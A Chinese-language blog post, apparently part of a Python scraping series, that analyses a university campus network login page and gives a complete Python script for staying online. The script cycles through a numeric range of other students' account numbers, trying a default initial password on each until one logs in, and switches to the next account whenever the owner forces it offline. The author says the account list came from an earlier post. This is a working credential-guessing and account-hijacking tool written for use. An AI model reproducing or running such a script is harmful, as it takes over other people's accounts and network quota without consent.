Python爬虫学习（8）：浙大软院网络登陆保持

　　在浏览器的验证窗口中输入登陆名和密码后，成功后会弹出一个小的新窗口，如果不小心关闭了这个窗口，则就会无法联网。如果说我在一个不带有桌面的Linux系统中，我是不能够通过浏览器接入网络的，虽然提供了不同系统的不同版本的客户端（没有用过），但是还是想自己做一个玩玩，同时依据上一篇博客中获取到的帐号进行尝试登陆。

1. 页面分析

　　首先还是先来看一下登陆验证页面，因为上一片博客中已经对其进行了分析，这里我们看看其它的：

　　

　　　　上边的代码是登陆成功后设置 document.form1.uid.value 的值，在Cookie中保存值，打开新窗口。

# 新窗口打开的网址为： http://192.0.0.6/login.html。其中location.search相当于无用，可以不管
# "user_login"：窗体的名称
# width,height：窗口的宽和高
window.open("login.html"+location.search,"user_login","width=428,height=296"); 

　　　　执行完上述代码之后就弹出了如下的登陆保持窗口（关掉之后就会断网）:

　　　　

　　　　当这个新窗口开启后就会执行下边的代码：

<script type="text/javascript">
// 调用父窗口（也就是打开这个窗口的登陆验证窗口）中的get_uid()函数，获取uid（登陆成功后返回的一串数字）。
document.form1.uid.value=window.opener.get_uid();
// 调用父窗口的关闭函数（其实那个函数什么都没有做，啥都没有用）
window.opener.do_close();
document.getElementById("title1").innerHTML=window.opener.get_uname()+"已经登录。<br/>请不要关闭本页面，关闭本页面后将自动下网。";
if(document.form1.uid.value != "")
{
　　 //调用get_url（）方法
    setTimeout("get_url()", 1000);
}
else
{
    alert("登录失败");
    window.close();
}
</script>

　　下来我们看一下 get_url 方法是干什么的,实际上就是将父窗口重定为到浙大软件学院的网址。

 function get_url()
 {
     // 实际上跑去访问  http://192.0.0.6/cgi-bin/get_url 地址，而这个地址返回的是一个网址
        var res=postData("/cgi-bin/get_url"+location.search, "get", "");
    // 判断返回的是不是一个网址，如果是就将父窗口调转到这个网址（实际上这个网址就是   http://www.cst.zju.edu.cn/   浙大软院的网址）
     var p=/^http://.+/;
     if(p.test(res))
         window.opener.jump_to(res);
     else
         window.opener.history.go(-2);
     return;
 }    

　　页面中还有一个方法 keeplive() 方法，看着好像很厉害的样子，然并卵，其实只有在点击 查看按钮的时候才响应,不过我们模拟登陆的时候却需要这个处理逻辑，判断我自己是否已经被别人强退，如果强退了之后，我们就尝试登陆下一个，然后循环往复，总会有不在使用的吧（嘿嘿嘿，真是机智。。）

 function keeplive()
 {
     var con=postData("/cgi-bin/keeplive", "post", "uid="+document.form1.uid.value);
     //alert(con);
     var p=/^[d]+,[d]+,[d]+$/;
     
     if(p.test(con))
     {
         var arr=new Array;
         arr=con.split(',');
         document.getElementById("time_long").innerHTML=format_time(arr[0]);
         document.getElementById("balance_in").innerHTML=format_flux(arr[1]);
         document.getElementById("balance_out").innerHTML=format_flux(arr[2]);
         err=0;
     }
     else
     {         
         if(err>=5)
         {
             alert("与服务器的连接中断");
             window.close();
             return;
         }
         else if(con=="status_error")
         {
             alert("您的帐户余额不足"); 
             window.close();
             return;                     
         }
         else if(con=="available_error")
         {
             alert("您的帐户被禁用");
             window.close();
             return;
         }
         else if(con=="drop_error")
         {
             alert("您被强制下线");
             window.close();
             return;
         }
         else if(con=="flux_error")
         {
             alert("您的流量已超支");
             window.close();
             return;
         }
         else if(con=="minutes_error")
         {
             alert("您的时长已超支");
             window.close();
             return;
         }
         else 
         {             
             err++;
         }
         
     }

 }

　　其比较重要的方法是 do_logout，我们之所以关闭了这个页面就无法上网的原因就是这个函数的啦。

// 访问 /cgi-bin/do_logout，并注销这次登陆，好吧，只要我不主动去调用它就永远不会注销落。
 function do_logout(flg)
 {
     if(flg!="" && !confirm("是否要登出？"))
         return;
     //clearTimeout(tm);
     var con=postData("/cgi-bin/do_logout", "post", "uid="+document.form1.uid.value);
     //alert(con);
     if(con=="logout_ok")
     {
         //clearTimeout(tm);
         window.close();
     }
     else
     {
         alert("操作失败");
     }
 }

2.  过程实现

　　理清楚了页面的代码逻辑，下来就要用python来模拟登陆。过程主要为：获取未改密码的用户帐，然后在这些帐号中选择未登陆帐号登陆，登陆成功后一直监视登陆后的情况，如果被强制下线，我们就尝试另一个帐号。

　　

#!/usr/bin/python
# -*- coding:utf-8 -*-

import urllib
import urllib2
import re
import os
import time

class PseudoLogin:
    def __init__(self):
        self.login_url = "http://192.0.0.6/cgi-bin/do_login"
        self.status_url = "http://192.0.0.6/cgi-bin/keeplive"
        self.logout_url = "http://192.0.0.6/cgi-bin/do_logout"
        self.headers = {}
        self.headers["User-Agent"]="Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0"
        self.headers["Content-Type"] = "application/x-www-form-urlencoded"
　　　　　# 需要更改起始和结束帐号
        self.start = *****
        self.end = ******
        self.check_time = 5
        # 当前登陆的帐号
        self.current = self.start
        # 登陆成功后返回的数字字符串
        self.uid = ""

    # 循环测试帐号，知道有一个帐号可以通过初始密码登陆
    def cycle_login(self):
        # 初始密码
        password="*************"
        # 匹配全是数字的字符串
        pattern = re.compile(r"^[d]+$")
        # 当已经访问到最后的时候，且最后一个帐号没有登陆成功的时候，又重头来一次
        if (self.current >= self.end):
            print "将重头再来一次.."
            self.current = self.start
        for username in range(self.current,self.end + 1):
            self.current = username
            ret = self.access(str(username),password)
            if re.match(pattern,ret):
                self.uid = ret
                print "已经成功登陆...,可以上网了"
                print "当前网号为: "+str(username)
                print "uid为: " + ret
                return True

        return False
    
    def access(self,username,password):
        data="username="+username+"&password="+password+"&drop=0"+"&type=1&n=100"
        req = urllib2.Request(self.login_url,data=data,headers=self.headers)
        res = urllib2.urlopen(req)
        content = res.read()
        print "the login result : " + content
        return content

    # 获取登陆上网后的状态
    def get_status(self):
        data="uid="+self.uid
        req = urllib2.Request(self.status_url,data=data,headers=self.headers)
        res = urllib2.urlopen(req)
        content = res.read()
        print "the keepalive result : " + content
        return content

    # 登出
    def logout(self):
        data="uid="+self.uid
        #data="uid="+identity
        req = urllib2.Request(self.logout_url,data=data,headers=self.headers)
        res = urllib2.urlopen(req)
        content = res.read()
        print "the logout result : " + content
        return content

    # 登陆上网之后一直监测上网状态，如果被强制下线就返回
    def suffer(self):
        # 循环测试，直到能够登陆
        while(not self.cycle_login()):
            pass
        # 当返回的是三个数字并且已逗号隔开的时候表示依然在线
        pattern = re.compile(r"^[d]+,[d]+,[d]+$")
        # 每过5秒访问一下状态
        while(True):
            time.sleep(self.check_time)
            status = self.get_status()
            if re.match(pattern,status):
                print "it is still online"
            else:
                print "sorry you are offline"
                # 如果被强制下线，则自动加1，不然又会登上这个帐号
                self.current = self.current + 1
                print "下线后需要等一会儿才能再登陆"
                time.sleep(30)
                break
        # 如果while循环退出表示上网失败了
        return False

    # 这个函数将会一直执行
    def enjoy(self):
        while(not self.suffer()):
            pass
        
login = PseudoLogin()
login.enjoy()

 　　

　　执行上述脚本（./cstlogin > /dev/null 2>&1 &）后，就会在后台运行，不再掉线啰，nice